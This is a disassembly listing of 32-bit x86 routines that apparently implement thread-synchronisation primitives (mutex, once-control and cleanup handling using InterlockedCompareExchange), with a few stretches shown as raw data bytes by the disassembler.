		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		call	near ptr 7C901005h
		nop
		push	esi
		call	near ptr 277075Fh
		nop
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 0C5E89056h, 0E8023FDBh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 2770421h
		nop
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 2830000h


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27E08BCh
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103BC, eax
		nop
		call	near ptr 2890412h
		test	eax, eax
		mov	dword_5103D8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103BC
		mov	dword_5103D8, offset sub_4012D0
		push	eax
		nop
		call	near ptr 2750000h
		mov	dword_5103BC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103C4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103C40Dh, 4C48300h,	6A118Bh, 2BE89052h, 0E80230E6h
		dd 0FFFCF015h, 5103BCA1h, 74C08500h, 0C1E85007h, 900231D9h
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103C4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103C40Dh, 4C48300h,	6A118Bh, 8BE89052h
		db 0E5h, 30h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_5109A0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, dword_5103CC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_5109A0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103C4
		mov	dword_5103C0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103C8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108E0
		call	esi
		push	offset dword_510940
		call	esi
		push	offset dword_5109A0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510960
		call	esi
		mov	eax, dword_5103C0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103C0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103C4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103C4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103C8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103C8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108E0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_447710
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108E0
		call	near ptr 7C9010EDh
		nop
		mov	esi, dword_511864
		push	offset dword_510960
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5109A0
		call	esi
		push	offset dword_510940
		call	esi
		push	offset dword_5108E0
		call	esi
		mov	dword_5103C0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_5103C4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax


loc_432C2E:				; CODE XREF: ___:00432CA7j
		call	edi	; free
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103C4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F8E2918h], edx
		ja	short loc_432C2E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_432CB0+1


loc_432CB0:				; CODE XREF: ___:00432CAEj
		jz	short loc_432CD5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_432CC2
		dec	eax
		jnz	short loc_432CC5
		or	esi, 0FFFFFFFFh
		jmp	short loc_432CC5
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: ___:00432CB8j
		mov	esi, [edi+14h]


loc_432CC5:				; CODE XREF: ___:00432CBBj
					; ___:00432CC0j
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_432CD5:				; CODE XREF: ___:loc_432CB0j
		push	1
		call	sub_401B22
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432D10	proc near		; CODE XREF: sub_401B22j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_432D10	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 279036Bh
		push	eax
		nop
		call	near ptr 27408EEh
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
